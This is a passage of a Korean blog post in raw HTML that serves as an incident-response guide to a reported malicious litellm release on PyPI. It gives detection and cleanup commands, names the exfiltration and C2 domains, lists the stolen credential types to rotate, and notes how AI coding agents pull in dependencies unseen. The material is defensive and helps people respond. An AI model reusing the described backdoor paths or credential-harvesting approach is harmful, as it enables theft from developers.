loading=&quot;lazy&quot; width=&quot;2010&quot; height=&quot;1106&quot; data-origin-width=&quot;2010&quot; data-origin-height=&quot;1106&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;확인 방법&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;지금 터미널을 열고 아래 명령어를 실행한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 15px 0 25px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 1. litellm 설치 여부 및 버전 확인&lt;/span&gt;&lt;br /&gt;pip show litellm&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 2. uv 캐시에 감염 파일이 있는지 확인&lt;/span&gt;&lt;br /&gt;find ~/.cache/uv -name &quot;litellm_init.pth&quot; 2&amp;gt;/dev/null&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 3. 가상환경에서 확인&lt;/span&gt;&lt;br /&gt;find . -path &quot;*/site-packages/litellm_init.pth&quot; 2&amp;gt;/dev/null&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 4. 백도어 존재 확인&lt;/span&gt;&lt;br /&gt;ls -la ~/.config/sysmon/ 2&amp;gt;/dev/null&lt;br /&gt;ls -la ~/.config/systemd/user/sysmon.service 2&amp;gt;/dev/null&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;버전이 &lt;b&gt;1.82.7&lt;/b&gt; 또는 &lt;b&gt;1.82.8&lt;/b&gt;이면 감염된 것이다. 해당 환경에 있던 &lt;b&gt;모든 인증 정보가 이미 유출되었을 가능성&lt;/b&gt;이 있다.&lt;br /&gt;ex) 나의 경우는 미설치&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;642&quot; data-origin-height=&quot;84&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eBvEwa/dJMcahDPUXW/rezKq71Ki3lGSJ9XTC0K1k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eBvEwa/dJMcahDPUXW/rezKq71Ki3lGSJ9XTC0K1k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eBvEwa/dJMcahDPUXW/rezKq71Ki3lGSJ9XTC0K1k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeBvEwa%2FdJMcahDPUXW%2FrezKq71Ki3lGSJ9XTC0K1k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;390&quot; height=&quot;51&quot; data-origin-width=&quot;642&quot; data-origin-height=&quot;84&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;font-size: 13px; color: #888; margin-bottom: 15px;&quot; data-ke-size=&quot;size8&quot;&gt;(출처: &lt;a href=&quot;https://futuresearch.ai/blog/litellm-pypi-supply-chain-attack/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;FutureSearch&lt;/a&gt;, &lt;a href=&quot;https://github.com/BerriAI/litellm/issues/24512&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub Issue #24512&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 지금 당장 해야 할 대응 방법&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;감염 버전이 확인되었다면 아래 순서대로 대응한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2022&quot; data-origin-height=&quot;1096&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eanOEn/dJMcaaEK25Z/1yN1gy4BPk74i1A34oCuvK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eanOEn/dJMcaaEK25Z/1yN1gy4BPk74i1A34oCuvK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eanOEn/dJMcaaEK25Z/1yN1gy4BPk74i1A34oCuvK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeanOEn%2FdJMcaaEK25Z%2F1yN1gy4BPk74i1A34oCuvK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2022&quot; height=&quot;1096&quot; data-origin-width=&quot;2022&quot; data-origin-height=&quot;1096&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 1: 즉시 삭제&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 15px 0 25px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 감염 버전 제거&lt;/span&gt;&lt;br /&gt;pip uninstall litellm -y&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 패키지 매니저 캐시 삭제&lt;/span&gt;&lt;br /&gt;rm -rf ~/.cache/uv&lt;br /&gt;rm -rf ~/.cache/pip&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 안전한 버전으로 재설치 (PyPI 격리 해제 후)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 2026-03-26 현재 전체 패키지 격리 중 &amp;mdash; 아래 명령은 격리 해제 후 실행&lt;/span&gt;&lt;br /&gt;pip install litellm==1.82.6&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 2: 백도어 제거&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 15px 0 25px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 로컬 백도어 파일 제거&lt;/span&gt;&lt;br /&gt;rm -rf ~/.config/sysmon/&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# systemd 서비스 중지 및 제거&lt;/span&gt;&lt;br /&gt;systemctl --user stop sysmon.service 2&amp;gt;/dev/null&lt;br /&gt;systemctl --user disable sysmon.service 2&amp;gt;/dev/null&lt;br /&gt;rm -f ~/.config/systemd/user/sysmon.service&lt;br /&gt;systemctl --user daemon-reload&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 쿠버네티스: 의심스러운 Pod 탐지 (이름 패턴 + 이미지 기준)&lt;/span&gt;&lt;br /&gt;kubectl get pods -n kube-system -o wide | grep -E &quot;node-setup|alpine&quot;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 의심 Pod 확인 후 개별 삭제 (이름, 이미지, 생성 시각을 반드시 확인)&lt;/span&gt;&lt;br /&gt;kubectl delete pod -n kube-system &amp;lt;pod-name&amp;gt;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2012&quot; data-origin-height=&quot;1104&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cDdmJH/dJMcaf0j0QN/VikYU9A7skgCeRqyKd9DMk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cDdmJH/dJMcaf0j0QN/VikYU9A7skgCeRqyKd9DMk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cDdmJH/dJMcaf0j0QN/VikYU9A7skgCeRqyKd9DMk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcDdmJH%2FdJMcaf0j0QN%2FVikYU9A7skgCeRqyKd9DMk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2012&quot; height=&quot;1104&quot; data-origin-width=&quot;2012&quot; data-origin-height=&quot;1104&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 3: 모든 인증 정보 교체&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;감염 환경에 있던 &lt;b&gt;모든 인증 정보&lt;/b&gt;가 유출되었다고 가정하고 교체한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;교체 필수 목록&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;SSH 키&lt;/b&gt; &amp;mdash; 새 키 쌍 생성 후 모든 서버에 재배포&lt;/li&gt;
&lt;li&gt;&lt;b&gt;클라우드 인증 정보&lt;/b&gt; &amp;mdash; AWS Access Key, GCP ADC, Azure 토큰 전부 재발급&lt;/li&gt;
&lt;li&gt;&lt;b&gt;쿠버네티스 설정&lt;/b&gt; &amp;mdash; kubeconfig 재생성, 서비스 어카운트 토큰 로테이션&lt;/li&gt;
&lt;li&gt;&lt;b&gt;API 키&lt;/b&gt; &amp;mdash; .env 파일에 저장된 모든 API 키 (OpenAI, Anthropic, Google 등)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;데이터베이스 비밀번호&lt;/b&gt; &amp;mdash; 환경변수나 설정 파일에 있던 모든 DB 비밀번호&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Git 토큰&lt;/b&gt; &amp;mdash; .gitconfig에 저장된 GitHub/GitLab 개인 액세스 토큰&lt;/li&gt;
&lt;li&gt;&lt;b&gt;CI/CD 시크릿&lt;/b&gt; &amp;mdash; 감염 환경의 CI/CD 파이프라인에서 사용하던 모든 시크릿&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 4: 네트워크 차단&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 15px 0 25px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# 공격자 도메인으로의 아웃바운드 트래픽 차단&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# /etc/hosts 또는 방화벽 규칙에 추가&lt;/span&gt;&lt;br /&gt;echo &quot;0.0.0.0 models.litellm.cloud&quot; | sudo tee -a /etc/hosts&lt;br /&gt;echo &quot;0.0.0.0 checkmarx.zone&quot; | sudo tee -a /etc/hosts&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# models.litellm.cloud = 데이터 유출 서버&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;# checkmarx.zone = 백도어 C2 폴링 서버 (50분 간격)&lt;/span&gt;&lt;/div&gt;
&lt;p style=&quot;font-size: 13px; color: #888; margin-bottom: 15px;&quot; data-ke-size=&quot;size8&quot;&gt;(출처: &lt;a href=&quot;https://futuresearch.ai/blog/litellm-pypi-supply-chain-attack/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;FutureSearch&lt;/a&gt; 대응 가이드, &lt;a href=&quot;https://www.microsoft.com/en-us/security/blog/2026/03/24/detecting-investigating-defending-against-trivy-supply-chain-compromise/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Microsoft Security Blog&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 교훈 &amp;mdash; 바이브 코딩 시대의 공급망 보안&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2020&quot; data-origin-height=&quot;1102&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Fj3vt/dJMcadOVUT9/muUJbnUdJST4Sws3kCGiY1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Fj3vt/dJMcadOVUT9/muUJbnUdJST4Sws3kCGiY1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Fj3vt/dJMcadOVUT9/muUJbnUdJST4Sws3kCGiY1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFj3vt%2FdJMcadOVUT9%2FmuUJbnUdJST4Sws3kCGiY1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2020&quot; height=&quot;1102&quot; data-origin-width=&quot;2020&quot; data-origin-height=&quot;1102&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;바이브 코딩이 공격 표면을 넓힌다&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 사건에서 가장 주목할 점은 FutureSearch의 발견 경위다. Cursor에서 MCP 플러그인을 사용했을 뿐인데, LiteLLM이 간접 의존성으로 자동 설치되었다. 본인이 &lt;code&gt;pip install litellm&lt;/code&gt;을 타이핑한 적이 없다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;바이브 코딩 환경에서는 AI 에이전트가 패키지를 자동으로 설치한다. 사용자가 설치 목록을 일일이 확인하지 않는다. 이 자동화된 신뢰가 공급망 공격의 핵심 공격 표면이 된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;보안 도구의 역설&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;TeamPCP의 전략은 보안 도구를 먼저 감염시키는 것이다. Trivy는 코드의 보안 취약점을 스캔하는 도구다. 기업들은 &quot;보안을 위해&quot; 이 도구를 CI/CD에 추가한다. 그런데 이 보안 도구 자체가 감염되면, 보안을 강화하려는 행위 자체가 인증 정보를 유출하는 행위가 된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;키 집중 관리의 양면성&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;LiteLLM이 타겟이 된 이유는 명확하다. 100개 이상의 AI 서비스 API 키를 한곳에서 관리하는 도구이기 때문이다. 키를 한곳에 모으면 관리는 편해지지만, 그 한곳이 뚫리면 모든 키가 동시에 유출된다. 편의성과 보안의 근본적 긴장이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2020&quot; data-origin-height=&quot;1108&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cr8l3I/dJMcafe0Prs/8ikgedOCpNUh4fPwTESiYk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cr8l3I/dJMcafe0Prs/8ikgedOCpNUh4fPwTESiYk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cr8l3I/dJMcafe0Prs/8ikgedOCpNUh4fPwTESiYk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcr8l3I%2FdJMcafe0Prs%2F8ikgedOCpNUh4fPwTESiYk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2020&quot; height=&quot;1108&quot; data-origin-width=&quot;2020&quot; data-origin-height=&quot;1108&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;b&gt;&lt;br /&gt;방어를 위한 실전 체크리스트&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;의존성 고정&lt;/b&gt; &amp;mdash; &lt;code&gt;pip install litellm&lt;/code&gt; 대신 &lt;code&gt;pip install litellm==1.82.6&lt;/code&gt;처럼 버전을 명시하고, lockfile을 사용한다&lt;/li&gt;
&lt;li&gt;&lt;b&gt;GitHub Action 태그 고정&lt;/b&gt; &amp;mdash; &lt;code&gt;uses: aquasecurity/trivy-action@v0.X&lt;/code&gt; 대신 커밋 SHA를 고정한다&lt;/li&gt;
&lt;li&gt;&lt;b&gt;CI/CD 시크릿 최소 권한&lt;/b&gt; &amp;mdash; PyPI 업로드 토큰은 해당 job에서만 접근 가능하도록 범위를 제한한다&lt;/li&gt;
&lt;li&gt;&lt;b&gt;간접 의존성 모니터링&lt;/b&gt; &amp;mdash; &lt;code&gt;pip list&lt;/code&gt;나 &lt;code&gt;uv pip list&lt;/code&gt;를 정기적으로 확인하여 예상치 못한 패키지가 설치되었는지 검사한다&lt;/li&gt;
&lt;li&gt;&lt;b&gt;네트워크 이그레스 제한&lt;/b&gt; &amp;mdash; 프로덕션 환경에서 알려진 도메인 이외로의 아웃바운드 트래픽을 차단한다&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 9 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 트러블슈팅 Q&amp;amp;A&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; color: #1a3a52; margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;Q. pip show litellm 했는데 버전이 1.82.6 이하이다. 안전한가?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;감염 버전은 1.82.7과 1.82.8이다. 1.82.6 이하라면 이번 사건의 직접적 영향은 없다. 다만 캐시에 감염 파일이 남아 있을 수 있으니 &lt;code&gt;find ~/.cache -name &quot;litellm_init.pth&quot;&lt;/code&gt;로 추가 확인한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; color: #1a3a52; margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;Q. litellm이 설치되어 있지 않다. 완전히 안전한가?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 LiteLLM 사건에 대해서는 안전하다. 하지만 TeamPCP의 캠페인은 LiteLLM만이 아니다. Trivy, KICS(Checkmarx)도 감염되었고, Endor Labs는 &quot;이 캠페인은 아직 끝나지 않았다&quot;고 경고했다. CI/CD에서 Trivy GitHub Action이나 KICS GitHub Action을 사용하고 있다면 해당 사건도 별도로 확인해야 한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; color: #1a3a52; margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;Q. macOS에서도 systemd 백도어가 작동하는가?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;macOS에는 systemd가 없으므로 systemd 경로의 백도어는 작동하지 않는다. 하지만 Stage 1(인증 정보 수집)과 Stage 2(외부 전송)는 OS에 관계없이 실행된다. macOS 사용자도 감염 버전이 설치되었다면 인증 정보가 유출되었을 가능성이 있다. &lt;code&gt;~/.config/sysmon/&lt;/code&gt; 디렉토리가 존재하는지 확인한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; color: #1a3a52; margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;Q. Docker 컨테이너 안에서만 litellm을 사용했다. 호스트도 위험한가?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컨테이너 안에서만 실행했다면 호스트 파일시스템의 인증 정보는 안전할 가능성이 높다. 하지만 컨테이너에 마운트된 시크릿, 환경변수로 전달된 API 키, 쿠버네티스 서비스 어카운트 토큰은 유출 대상이다. 컨테이너 내부에서 접근 가능했던 모든 인증 정보를 교체한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; color: #1a3a52; margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;Q. 현재 LiteLLM을 계속 사용해도 되는가?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2026년 3월 26일 현재, &lt;b&gt;litellm 전체 패키지가 PyPI에서 격리 중&lt;/b&gt;이다. 감염 버전뿐 아니라 모든 버전이 &lt;code&gt;pip install litellm&lt;/code&gt;으로 설치할 수 없다. 이미 설치된 1.82.6 이하는 그 자체로는 안전하지만, PyPI에서 새로 받을 수는 없다. BerriAI는 관리자 계정을 전체 교체했고, 공급망 검토 완료 시까지 새 릴리스를 중단한 상태다. Trusted Publishers(OIDC)로의 마이그레이션도 논의 중이다. &lt;a href=&quot;https://github.com/BerriAI/litellm/issues/24518&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;BerriAI 공식 대응 이슈(#24518)&lt;/a&gt;와 &lt;a href=&quot;https://docs.litellm.ai/blog/security-update-march-2026&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 보안 공지&lt;/a&gt;를 추적한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 12px; padding: 20px 25px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; color: #1a3a52; margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;Q. 노출 시간이 약 5시간이었는데, 실제로 영향 받은 사람이 많을까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;LiteLLM 공식 공지 기준 영향 시간대는 10:39~16:00 UTC (약 5시간 20분)이다. 일 다운로드 340만 회 기준으로, 5시간이면 약 70만 다운로드에 해당할 수 있다 (단순 비율 추정). 모든 다운로드가 감염 버전을 받은 것은 아니지만, CI/CD 파이프라인에서 &lt;code&gt;pip install litellm&lt;/code&gt;(버전 미고정)을 실행하는 환경은 자동으로 최신 버전을 받았을 가능성이 있다. 정확한 피해 규모는 아직 공개되지 않았다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 10 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 결론&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;언제 경계해야 하는가 / 언제 안심할 수 있는가&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0 25px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;위험도&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;행동&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;litellm 1.82.7 또는 1.82.8 설치됨&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; color: #dc3545; font-weight: 600;&quot;&gt;긴급&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;즉시 삭제 + 백도어 제거 + 모든 인증 정보 교체&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;litellm 설치되어 있으나 다른 버전&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff; color: #ffc107; font-weight: 600;&quot;&gt;주의&lt;/td&gt;
&lt;td style=&quot;padding: 8px; border: 1px solid #b3d9ff;&quot;&gt;캐시에 감염 파일 없는지 확인, 버전 고정 설정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
